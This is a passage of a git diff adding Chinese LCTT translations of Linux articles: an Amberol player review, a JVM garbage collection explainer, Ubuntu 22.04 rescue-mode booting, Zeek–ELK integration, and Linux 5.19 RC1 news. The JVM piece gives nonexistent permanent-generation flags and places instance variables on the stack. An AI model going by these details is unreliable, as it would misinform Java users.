+看起来不错是它所做的两件(或几件)事情中的一件。另一件事是播放音乐。 + +这就是它,[Amberol][2] 没有额外的花哨(和有用)的功能,如生成专辑封面、元数据编辑、歌词显示或播放列表和库管理。 + +这些功能也不像是会在未来的版本中加入。Amberol 只想播放音乐。就是这样。 + +#### 令人惊叹的用户界面 + +Amberol 和大多数新的 GNOME 应用一样,是用 Rust 和 GTK 编写的。 + +它有一个自适应的用户界面,可以根据你正在播放的专辑颜色来改变颜色。渐变效果给了它一个现代、时尚的外观,肯定会成为你的 Linux 美化Ricing截图的一部分。 + +![amberol music player][3] + +由于其 UI 没有传统的手柄和菜单,它给应用一个统一的外观。 + +#### 播放列表 + +它会从你添加的文件夹中的文件自动生成一个播放列表,显示在左手边的侧边栏。 + +![amberol playlist][4] + +你可以在左上角看到整个播放列表将播放多长时间的音乐。点击“勾选”符号,你可以选择歌曲,并从播放列表中删除它们。 + +如果你愿意,可以隐藏播放列表的侧边栏。 + +![amberol without playlist][5] + +#### 音乐播放选项 + +你可以在界面上看到歌曲的进度。该播放器与键盘上的媒体控制按钮整合得很好。你可以用专用的媒体键来播放、暂停和改变曲目(如果你的系统上有)。 + +Amberol 为你提供了一些播放音乐的选项。你可以打开随机播放功能,按随机顺序播放音乐。你也可以单曲循环,直到你厌倦它。 + +![amberol music playing options][6] + +底部的汉堡菜单让你可以选择添加文件或文件夹,并显示可用的键盘快捷方式。 + +![amberol keyboard shortcuts][7] + +你也可以从这里禁用 UI 颜色变化以配合专辑封面。 + +### 在 Linux 上安装 Amberol + +Amberol 是 [以 Flatpak 形式提供的][8]。请确保 [你的系统已启用 Flatpak 支持][9]。 + +要安装 Amberol,请打开终端并使用以下命令: + +``` +flatpak install flathub io.bassi.Amberol +``` + +安装完毕后,在菜单中搜索该应用,并点击启动。 + +第一次运行时,它会要求你添加音乐文件或文件夹。你也可以拖放文件播放。 + +![amberol first run][10] + +### 总结 + +就个人而言,我更喜欢流媒体服务,因为我没有本机音乐珍藏。但我知道有的人有大量的 CD 收藏,现在都保存在硬盘上。 + +Amberol 是一个外观漂亮的应用,对于播放本机音乐来说,它足够好。最吸引人的是它基于专辑封面的自适应用户界面。 + +请你试试它,并在评论区分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/amberol-music-player/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/amberol-music-player-interface-800x693.png +[2]: https://apps.gnome.org/app/io.bassi.Amberol/ +[3]: https://itsfoss.com/wp-content/uploads/2022/06/amberol-music-player-800x580.png +[4]: https://itsfoss.com/wp-content/uploads/2022/06/Amberol-playlist-800x548.png +[5]: https://itsfoss.com/wp-content/uploads/2022/06/amberol-without-playlist-800x693.png +[6]: https://itsfoss.com/wp-content/uploads/2022/06/Amberol-music-playing-options-800x548.png +[7]: https://itsfoss.com/wp-content/uploads/2022/06/Amberol-keyboard-shortcuts-800x528.png +[8]: https://flathub.org/apps/details/io.bassi.Amberol +[9]: https://itsfoss.com/flatpak-guide/ +[10]: https://itsfoss.com/wp-content/uploads/2022/06/amberol-first-run-800x693.png diff --git a/published/202206/20220607 How Garbage Collection works inside a Java Virtual Machine.md b/published/202206/20220607 How Garbage Collection works inside a Java Virtual Machine.md new file mode 100644 index 0000000000..cd4ed74084 --- /dev/null +++ b/published/202206/20220607 How Garbage Collection works inside a Java Virtual Machine.md @@ -0,0 +1,156 @@ +[#]: subject: "How Garbage Collection works inside a Java Virtual Machine" +[#]: via: "https://opensource.com/article/22/6/garbage-collection-java-virtual-machine" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14742-1.html" + +JVM 垃圾回收的工作原理 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/22/094238qvh45pv2jtpde9td.jpg) + +> 对于程序员来说,掌握 Java 的内存管理机制并不是必须的,但它能够帮助你更好地理解 JVM 是如何处理程序中的变量和类实例的。 + +Java 之所以能够如此流行,自动 垃圾回收Garbage Collection(GC)功不可没,它也是 Java 最重要的几个特性之一。在这篇文章中,我将说明为什么垃圾回收如此重要。本文的主要内容为:自动的分代垃圾回收、JVM 划分内存的依据,以及 JVM 垃圾回收的工作原理。 + +### Java 内存分配 + +Java 程序的内存空间被划分为以下四个区域: + +1. 堆区Heap:对象实例就是在这个区域分配的。不过,当我们声明一个对象时,堆中不会发生任何内存分配,只是在栈中创建了一个对象的引用而已。 +2. 栈区Stack:方法、局部变量和类的实例变量就是在这个区域分配的。 +3. 代码区Code:这个区域存放了程序的字节码。 +4. 静态区Static:这个区域存放了程序的静态数据和静态方法。 + +### 什么是自动垃圾回收? + +自动垃圾回收是这样一个过程:首先,堆中的所有对象会被分类为“被引用的”和“未被引用的”;接着,“未被引用的对象”就会被做上标记,以待之后删除。其中,“被引用的对象”是指程序中的某一部分仍在使用的对象,“未被引用的对象”是指目前没有正在被使用的对象。 + +许多编程语言,例如 C 和 C++,都需要程序员手动管理内存的分配和释放。在 Java 中,这一过程是通过垃圾回收机制来自动完成的(尽管你也可以在代码中调用 `system.gc();` 来手动触发垃圾回收)。 + +垃圾回收的基本步骤如下: + +#### 1、标记已使用和未使用的对象 + +在这一步骤中,已使用和未使用的对象会被分别做上标记。这是一个及其耗时的过程,因为需要扫描内存中的所有对象,才能够确定它们是否正在被使用。 + +![标记已使用和未使用的对象][2] + +#### 2、扫描/删除对象 + +有两种不同的扫描和删除算法: + +**简单删除(标记清除)**:它的过程很简单,我们只需要删除未被引用的对象即可。但是,后续给新对象分配内存就会变得很困难了,因为可用空间被分割成了一块块碎片。 + +![标记清除的过程][3] + +**删除压缩(标记整理)**:除了会删除未被引用的对象,我们还会压缩被引用的对象(未被删除的对象)。这样以来,新对象的内存分配就相对容易了,并且内存分配的效率也有了提升。 + +![标记整理的过程][4] + +### 什么是分代垃圾回收,为什么需要它? + +正如我们在“扫描删除”模型中所看到的,一旦对象不断增长,我们就很难扫描所有未使用的对象以回收内存。不过,有一项实验性研究指出,在程序执行期间创建的大多数对象,它们的存活时间都很短。 + +既然大多数对象的存活时间都很短,那么我们就可以利用这个事实,从而提升垃圾回收的效率。该怎么做呢?首先,JVM 将内存划分为不同的“代”。接着,它将所有的对象都分类到这些内存“代”中,然后对这些“代”分别执行垃圾回收。这就是“分代垃圾回收”。 + +### 堆内存的“代”和分代垃圾回收过程 + +为了提升垃圾回收中的“标记清除”的效率,JVM 将对内存划分成以下三个“代”: + +* 新生代Young Generation +* 老年代Old Generation +* 永久代Permanent Generation + +![Hotspot 堆内存结构][5] + +下面我将介绍每个“代”及其主要特征。 + +#### 新生代 + +所有创建不久的对象都存放在这里。新生代被进一步分为以下两个区域: + +1. 伊甸区Eden:所有新创建的对象都在此处分配内存。 +2. 幸存者区Survivor,分为 S0 和 S1:经历过一次垃圾回收后,仍然存活的对象会被移动到两个幸存者区中的一个。 + +![对象分配][6] + +在新生代发生的分代垃圾回收被称为 “次要回收Minor GC”(LCTT 译注:也称为“新生代回收Young GC”)。Minor GC 过程中的每个阶段都是“停止世界Stop The World”(STW)的,这会导致其他应用程序暂停运行,直到垃圾回收结束。这也是次要回收更快的原因。 + +一句话总结:伊甸区存放了所有新创建的对象,当它的可用空间被耗尽,第一次垃圾回收就会被触发。 + +![填充伊甸区][7] + +次要回收:在该垃圾回收过程中,所有存活和死亡的对象都会被做上标记。其中,存活对象会被移动到 S0 幸存者区。当所有存活对象都被移动到了 S0,未被引用的对象就会被删除。 + +![拷贝被引用的对象][8] + +S0 中的对象年龄为 1,因为它们挺过了一次次要回收。此时,伊甸区和 S1 都是空的。 + +每当完成清理后,伊甸区就会再次接受新的存活对象。随着时间的推移,伊甸区和 S0 中的某些对象被宣判死亡(不再被引用),并且伊甸区的可用空间也再次耗尽(填满了),那么次要回收 又将再次被触发。 + +![对象年龄增长][9] + +这一次,伊甸区和 S0 中的死亡和存活的对象会被做上标记。其中,伊甸区的存活对象会被移动到 S1,并且年龄增加至 1。S0 中的存活对象也会被移动到 S1,并且年龄增加至 2(因为它们挺过了两次次要回收)。此时,伊甸区和 S0 又是空的了。每次次要回收之后,伊甸区和两个幸存者区中的一个都会是空的。 + +新对象总是在伊甸区被创建,周而复始。当下一次垃圾回收发生时,伊甸区和 S1 都会被清理,它们中的存活对象会被移动到 S0 区。每次次要回收之后,这两个幸存者区(S0 和 S1)就会交换一次。 + +![额外年龄增长][10] + +这个过程会一直进行下去,直到某个存活对象的年龄达到了某个阈值,然后它就会被移动到一个叫做“老年代”的地方,这是通过一个叫做“晋升”的过程来完成的。 + +使用 `-Xmn` 选项可以设置新生代的大小。 + +### 老年代 + +这个区域存放着那些挺过了许多次次要回收,并且达到了某个年龄阈值的对象。 + +![晋升][11] + +在上面这个示例图表中,晋升的年龄阈值为 8。在老年代发生的垃圾回收被称为 “主要回收Major GC”。(LCTT 译注:也被称为“全回收Full GC”) + +使用 `-Xms` 和 `-Xmx` 选项可以分别设置堆内存大小的初始值和最大值。(LCTT 译注:结合上面的 `-Xmn` 选项,就可以间接设置老年代的大小了。) + +### 永久代 + +永久代存放着一些元数据,它们与应用程序、Java 标准环境以及 JVM 自用的库类及其方法相关。JVM 会在运行时,用到了什么类和方法,就会填充相应的数据。当 JVM 发现有未使用的类,就会卸载或是回收它们,从而为正在使用的类腾出空间。 + +使用 `-XX:PermGen` 和 `-XX:MaxPerGen` 选项可以分别设置永久代大小的初始值和最大值。 + +#### 元空间 + +Java 8 引入了元空间Metaspace,并用它替换了永久代。这么做的好处是自动调整大小,避免了 内存不足OutOfMemory(OOM)错误。 + +### 总结 + +本文讨论了各种不同的 JVM 内存“代”,以及它们是如何在分代垃圾回收算法中起作用的。对于程序员来说,掌握 Java 的内存管理机制并不是必须的,但它能够帮助你更好地理解 JVM 处理程序中的变量和类实例的方式。这种理解使你能够规划和排除代码故障,并理解特定平台固有的潜在限制。 + +*正文配图来自:Jayashree Huttanagoudar,CC BY-SA 4.0* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/garbage-collection-java-virtual-machine + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/java-coffee-beans.jpg +[2]: https://opensource.com/sites/default/files/2022-06/1Marking.png +[3]: https://opensource.com/sites/default/files/2022-06/2NormalDeletion.png +[4]: https://opensource.com/sites/default/files/2022-06/3DeletionwithCompacting.png +[5]: https://opensource.com/sites/default/files/2022-06/4Hotspot.png +[6]: https://opensource.com/sites/default/files/2022-06/5ObjAllocation.png +[7]: https://opensource.com/sites/default/files/2022-06/6FillingEden.png +[8]: https://opensource.com/sites/default/files/2022-06/7CopyingRefdObjs.png +[9]: https://opensource.com/sites/default/files/2022-06/8ObjAging.png +[10]: https://opensource.com/sites/default/files/2022-06/9AddlAging.png +[11]: https://opensource.com/sites/default/files/2022-06/10Promotion.png diff --git a/published/202206/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md b/published/202206/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md new file mode 100644 index 0000000000..c618877834 --- /dev/null +++ b/published/202206/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md @@ -0,0 +1,88 @@ +[#]: subject: "How to Boot Ubuntu 22.04 into Rescue / Emergency Mode" +[#]: via: "https://www.linuxtechi.com/boot-ubuntu-22-04-rescue-emergency-mode/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14750-1.html" + +如何启动 Ubuntu 22.04 进入救援/紧急模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/24/101647n4nru1ayaw4nrnue.jpg) + +极客们好,将 Ubuntu 22.04(Jammy Jellyfish)启动到救援Rescue紧急Emergency模式可以重置忘记的用户密码、修复文件系统错误,以及在启动过程中禁用或启用 systemd 服务。 + +在这篇文章中,我们将学习如何启动 Ubuntu 22.04 LTS 系统进入救援和应急模式。救援模式类似于单用户模式,所有的故障排除步骤都在这里进行。救援模式加载最小的环境并挂载根文件系统。 + +而在紧急模式下,我们得到的是单用户 Shell,而不启动任何系统服务。因此,当我们无法启动系统进入救援模式时,就需要紧急模式。 + +### 启动 Ubuntu 22.04 进入救援或单用户模式 + +前往你想启动到救援或单用户模式的目标系统。在启动时按下 `SHIFT + ESC` 键,进入 GRUB 引导加载器页面。 + +![Default-Grub-Screen-Ubuntu-22-04][1] + +选择第一个选项 “Ubuntu”,并按 `e` 键进入编辑模式。 + +在以 `linux` 开头的一行末尾,删除字符串 `$vt_handoff` 并添加字符串 `systemd.unit=rescue.target`。 + +![rescue-target-ubuntu-22-04][2] + +做完修改后,按 `Ctrl + X` 或 `F10` 在救援模式下启动。 + +![Troubleshooting-Commands-in-Rescue-Mode][3] + +进入救援模式后,运行所有的故障排除命令,并运行 `systemctl reboot` 命令来重启系统。 + +### 另一种启动系统进入救援模式的方法 + +重新启动系统并按下 `ESC + Shift` 键,进入 GRUB 启动界面。 + +选择第二个选项 “Ubuntu 高级选项Advanced Options for Ubuntu”->选择“恢复模式recovery mode”选项并点击回车->选择 root(进入 root shell 提示符)root (Drop to root shell prompt)。 + +下面是一个例子: + +![Boot-Ubuntu-22-04-Rescue-Mode][4] + +当你有了 root Shell,运行命令来恢复和修复系统问题,最后使用 `systemctl reboot` 来重启系统。 + +### 引导 Ubuntu 22.04 进入紧急模式 + +要启动系统进入紧急模式,首先进入 GRUB 页面。 + +![Default-Grub-Screen-Ubuntu-22-04][5] + +选择第一个选项 “Ubuntu” 并按 `e` 键进行编辑。寻找以 `linux` 开头的一行,移到该行的末尾,删除字符串 `$vt_handoff` 并添加字符串 `systemd.unit=emergency.target`。 + +![Emergency-Mode-Ubuntu-22-04][6] + +按 `Ctrl + X` 或 `F10` 将系统启动到紧急模式。 + +![Command-in-Emergency-Mode-Ubuntu-22-04][7] + +同样,在紧急模式下,你可以在这个模式下执行所有的故障排除,完成后,就用 `systemctl reboot` 命令重启系统。 + +这篇文章的内容就这些。文章内容丰富,不要犹豫,请在你的技术朋友中分享它。请在下面的评论区发表你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/boot-ubuntu-22-04-rescue-emergency-mode/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Default-Grub-Screen-Ubuntu-22-04.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/06/rescue-target-ubuntu-22-04.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Troubleshooting-Commands-in-Rescue-Mode.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Boot-Ubuntu-22-04-Rescue-Mode.gif +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Default-Grub-Screen-Ubuntu-22-04.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Emergency-Mode-Ubuntu-22-04.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Command-in-Emergency-Mode-Ubuntu-22-04.png diff --git a/published/202206/20220607 Integrating Zeek with ELK Stack.md b/published/202206/20220607 Integrating Zeek with ELK Stack.md new file mode 100644 index 0000000000..ab63c0ad30 --- /dev/null +++ b/published/202206/20220607 Integrating Zeek with ELK Stack.md @@ -0,0 +1,143 @@ +[#]: subject: "Integrating Zeek with ELK Stack" +[#]: via: "https://www.opensourceforu.com/2022/06/integrating-zeek-with-elk-stack/" +[#]: author: "Tridev Reddy https://www.opensourceforu.com/author/tridev-reddy/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14770-1.html" + +将 Zeek 与 ELK 栈集成 +====== + +> Zeek 是一个开源的网络安全监控工具。本文讨论了如何将 Zeek 与 ELK 集成。 + +![](https://img.linux.net.cn/data/attachment/album/202206/28/164550v4nuk3g7ux77y77v.jpg) + +在本杂志 2022 年 3 月版发表的题为“用 Zeek 轻松实现网络安全监控”的文章中,我们研究了 Zeek 的功能,并学习了如何开始使用它。现在我们将把我们的学习经验再进一步,看看如何将其与 ELK(即 Elasticsearch、Kibana、Beats 和 Logstash)整合。 + +为此,我们将使用一个叫做 Filebeat 的工具,它可以监控、收集并转发日志到 Elasticsearch。我们将把 Filebeat 和 Zeek 配置在一起,这样后者收集的数据将被转发并集中到我们的 Kibana 仪表盘上。 + +### 安装 Filebeat + +让我们首先将 Filebeat 与 Zeek 安装在一起。使用 `apt` 来安装 Filebeat,使用以下命令: + +``` +sudo apt install filebeat +``` + +接下来,我们需要配置 `.yml` 文件,它位于 `/etc/filebeat/` 文件夹中: + +``` +sudo nano /etc/filebeat/filebeat.yml +``` + +我们只需要在这里配置两件事。在 Filebeat 输入部分,将类型改为 `log`,并取消对 `enabled:false` 的注释,将其改为 `true`。我们还需要指定存储日志的路径,也就是说,我们需要指定 `/opt/zeek/logs/current/*.log`。 + +完成这些后,设置的第一部分应该类似于图 1 所示的内容。 + +![Figure 1: Filebeat config (a)][2] + +第二件要修改的事情是在输出下的 Elasticsearch 输出部分,取消对 `output.elasticsearch` 和 `hosts` 的注释。确保主机的 URL 和端口号与你安装 ELK 时配置的相似。我们把它保持为 `localhost`,端口号为 `9200`。 + +在同一部分中,取消底部的用户名和密码的注释,输入安装后配置 ELK 时生成的 Elasticsearch 用户的用户名和密码。完成这些后,参考图 2,检查设置。 + +![Figure 2: Filebeat config (b)][3] + +现在我们已经完成了安装和配置,我们需要配置 Zeek,使其以 JSON 格式存储日志。为此,确保你的 Zeek 实例已经停止。如果没有,执行下面的命令来停止它: + +``` +cd /opt/zeek/bin +./zeekctl stop +``` + +现在我们需要在 `local.zeek` 中添加一小行,它存在于 `opt/zeek/share/zeek/site/` 目录中。 + +以 root 身份打开该文件,添加以下行: + +``` +@load policy/tuning/json-logs.zeek +``` + +参考图 3,确保设置正确。 + +![Figure 3: local.zeek file][4] + +由于我们改变了 Zeek 的一些配置,我们需要重新部署它,这可以通过执行以下命令来完成: + +``` +cd /opt/zeek/bin +./zeekctl deploy +``` + +现在我们需要在 Filebeat 中启用 Zeek 模块,以便它转发 Zeek 的日志。执行下面的命令: + +``` +sudo filebeat modules enable zeek +``` + +我们几乎要好了。在最后一步,配置 `zeek.yml` 文件要记录什么类型的数据。这可以通过修改 `/etc/filebeat/modules.d/zeek.yml` 文件完成。 + +在这个 .yml 文件中,我们必须提到这些指定的日志存放在哪个目录下。我们知道,这些日志存储在当前文件夹中,其中有几个文件,如 `dns.log`、`conn.log`、`dhcp.log` 等等。我们需要在每个部分提到每个路径。如果而且只有在你不需要该文件/程序的日志时,你可以通过把启用值改为 `false` 来舍弃不需要的文件。 + +例如,对于 `dns`,确保启用值为 `true`,并且路径被配置: + +``` +var.paths: [ “/opt/zeek/logs/current/dns.log”, “/opt/zeek/logs/*.dns.json” ] +``` + +对其余的文件重复这样做。我们对一些我们需要的文件做了这个处理。我们添加了所有主要需要的文件。你也可以这样做。请参考图 4。 + +![Figure 4: zeek.yml configuration][5] + +现在是启动 Filebeat 的时候了。执行以下命令: + +``` +sudo filebeat setup +sudo service filebeat start +``` + +现在一切都完成了,让我们移动到 Kibana 仪表板,检查我们是否通过 Filebeat 接收到来自 Zeek 的数据。 + +![Figure 5: Dashboard of Kibana (Destination Geo)][6] + +进入仪表板。你可以看到它所捕获的数据的清晰统计分析(图 5 和图 6)。 + +![Figure 6: Dashboard of Kibana (Network)][7] + +现在让我们进入发现选项卡,通过使用查询进行过滤来检查结果: + +``` +event.module: "zeek" +``` + +这个查询将过滤它在一定时间内收到的所有数据,只向我们显示名为 Zeek 的模块的数据(图 7)。 + +![Figure 7: Filtered data by event.module query][8] + +### 鸣谢 + +*作者感谢 VIT-AP 计算机科学与工程学院的 Sibi Chakkaravarthy Sethuraman、Sudhakar Ilango、Nandha Kumar R.和Anupama Namburu 的不断指导和支持。特别感谢人工智能和机器人技术卓越中心(AIR)。* + + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/integrating-zeek-with-elk-stack/ + +作者:[Tridev Reddy][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/tridev-reddy/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Integrating-Zeek-with-ELK-Stack-Featured-image.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Filebeat-config-a.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Filebeat-config-b.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-local.zeek-file-1.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-zeek.yml-configuration.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Dashboard-of-Kibana-Destination-Geo.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Dashboard-of-Kibana-Network-1.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Filtered-data-by-event.jpg diff --git a/published/202206/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md b/published/202206/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md new file mode 100644 index 0000000000..3e2c88b021 --- /dev/null +++ b/published/202206/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md @@ -0,0 +1,100 @@ +[#]: subject: "Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work" +[#]: via: "https://www.debugpoint.com/2022/06/linux-kernel-5-19-rc1/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14692-1.html" + +Linux 内核 5.19 RC1 发布,完成了 ARM 通用内核的工作 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/10/100401b0t82bd0ww0o2tgn.jpg) + +> Linus Torvalds 发布了用来测试的 Linux 内核 5.19 RC1,带来了一些重大变化。 + +继上个月 [Linux 内核 5.18][1] 发布之后,Linus Torvalds 宣布了 Linux 内核 5.19 系列第一个候选版本。与此同时,Linux 内核 5.19 官方合并窗口关闭,这意味着除非是关键性的,否则不会再接受任何新功能。 + +简单看一下 Linux 内核 5.19 的新内容,会发现 CPU、GPU、网络、存储和核心模块都有常规的更新。此外,代码清理、淘汰过时硬件和对以后芯片组的持续支持是此版本的亮点。 + +在进一步介绍之前,让我们简单来看一下这些新特性。 + +### Linux 内核 5.19(RC1)的新特性 + +#### CPU + +首先需要提及的是,Linux 内核 5.19 开始 [初步支持][2] 龙芯架构的 CPU 系列。龙芯由中国龙芯中科公司设计开发。龙芯架构的 CPU 是兼容 MIPS 架构的通用微处理器。不过虽然现在提供了支持,但是你仍不能在龙芯 CPU 上启动 Linux,因为一些代码还在审核中。希望在 5.20 版本中能够使用。 + +新的 [英特尔 IFS 驱动][4] 在该版本中落地,这有助于在部署前后发现硬件问题。它能够在早期阶段检测电路层面的 CPU 错误。 + +在前几个针对英特尔 CPU 的内核版本中一直在对电源管理和散热方面进行开发,[这个版本][5] 也不例外。首先,为 Raptor 和 Alder Lake 家族添加了英特尔 运行时平均功率限制Run-Time Average Power Limiting(RAPL)的支持。其次,改进了 P-state 驱动以处理频率变化,并且基于 CPU 的缩放支持被添加到被动 devfreq 中。 + +虽然英特尔 CPU 主要是散热和电源管理方面的工作,但对 AMD CPU 系列来说有更多的性能更新。首先,计划在今年年底完成 ZMD Zen 4 CPU 的 基于指令的采样Instruction-Based Sampling(IBS)模块引入了更多更新。此外,此版本引入了 PerfMonV2,提供了更多性能监视能力。 + +此外,该版本中移除了 a.out 支持。同样,过时的 Renesas H8/300 CPU 也被移除了。 + +#### 主要 ARM 更新 + +终于,主线 Linux 内核能够 [支持 ARM 多平台][7] 了。在 Linus 的 RC1 开场白中可以看到,这是该版本中的巨大改变!从 Linux 3.7 开始,跨越了十多年的工作,这是多么漫长的过程。 + +![Linux 内核 5.19 Rc1 发布公告提到了 ARM 变化][8] + +#### 图形和存储升级 + +存储子系统在各种流行的文件系统中都有性能提升。最主要的变化包括苹果 M1 NVMe 控制器支持和对 XFS 文件系统的更好支持。此外,Btrfs、F2FS 以及 exFAT 文件系统也有增强。 + +在代码行数方面,有一个令人兴奋的指标是仅是图形驱动程序 Linux 内核 5.19 就增加了大约[50 万行代码][9]。它包括 AMD 的 RDNA、CDNA,英特尔的 Raptor Lake、DG2/Alchemist 等图形驱动更新。 + +#### 重要的网络变化 + +鉴于数据传输大幅增长,对 Big TCP 的支持有助于支持数据中心 400 GBit 级别的流量。它还可以在高性能网络环境中降低延迟。 + +继续改进了 多路径 TCPMulti-Path TCP(MPTCP)。此外,高通 ath11k WiFi 驱动程序在此版本中添加了网络唤醒功能。同样增加了对瑞昱的 8852ce 芯片、联发科的 T700 调制解调器以及瑞萨科技的 RZ/V2M 的支持。 + +#### 其他值得注意的功能 + +首先,内核中著名的随机函数生成器(RNG)在此版本中 [继续][10] 改进。 + +其次,著名的新兴的 Framework 模块化笔记本电脑获得了此版本 Chrome OS EC 驱动支持。Framework 笔记本现在可以作为一个非 Chromebook 设备利用 ChromeOS 的嵌入式控制器。 + +此外,Wacom 绘画板以及其他相关设备也有众多更新。[包括][11] 对联想 Thinkpad TrackPoint II、谷歌 Whiskers Touchpad、联想 X12 TrackPoint 等设备支持的提升。 + +### Linux 内核 5.19 下载 + +如果你想要测试并尝试该候选版本,可以在 [这里][12] 下载。 + +预计在 2022 年 7 月左右最终版本发布前,将会有多个版本更迭。 + +参考自:[内核邮件列表][17] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/linux-kernel-5-19-rc1/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2022/05/linux-kernel-5-18/ +[2]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c6f2f3e2c80e975804360665d973211e4d9390cb +[3]: http://www.loongson.cn/ +[4]: https://lore.kernel.org/lkml/13e61c61-0d4b-5f48-6373-f056bf8b603f@redhat.com/ +[5]: https://lore.kernel.org/linux-acpi/CAJZ5v0hKBt3js65w18iKxzWoN5QuEc84_2xcM6paSv-ZHwe3Rw@mail.gmail.com/ +[6]: https://lore.kernel.org/lkml/You6yGPUttvBcg8s@gmail.com/ +[7]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ecf0aa5317b0ad6bb015128a5b763c954fd58708 +[8]: https://www.debugpoint.com/wp-content/uploads/2022/06/Linux-Kernel-5.19-Rc1-release-announcement-mentions-ARM-changes.jpg +[9]: https://lore.kernel.org/lkml/CAPM=9tw62EZfAm0PbiOPmMrpfR98QMFTWGEQcA34G4ap4xxNkA@mail.gmail.com/ +[10]: https://lore.kernel.org/lkml/20220522214457.37108-1-Jason@zx2c4.com/T/#u +[11]: https://lore.kernel.org/lkml/nycvar.YFH.7.76.2205241107530.28985@cbobk.fhfr.pm/ +[12]: https://www.kernel.org/ +[13]: https://git.kernel.org/torvalds/t/linux-5.19-rc1.tar.gz +[14]: https://git.kernel.org/torvalds/p/v5.19-rc1/v5.18 +[15]: https://git.kernel.org/torvalds/ds/v5.19-rc1/v5.18 +[16]: https://git.kernel.org/torvalds/h/v5.19-rc1 +[17]: https://lore.kernel.org/lkml/CAHk-=wgZt-YDSKfdyES2p6A_KJoG8DwQ0mb9CeS8jZYp+0Y2Rw@mail.gmail.com/T/#u diff --git a/published/202206/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md b/published/202206/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md new file mode 100644 index 0000000000..18e0fae1d8 --- /dev/null +++ b/published/202206/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md @@ -0,0 +1,47 @@ +[#]: subject: "OpenInfra Foundation Launches ‘directed funding’ To Support Open Source Projects" +[#]: via: 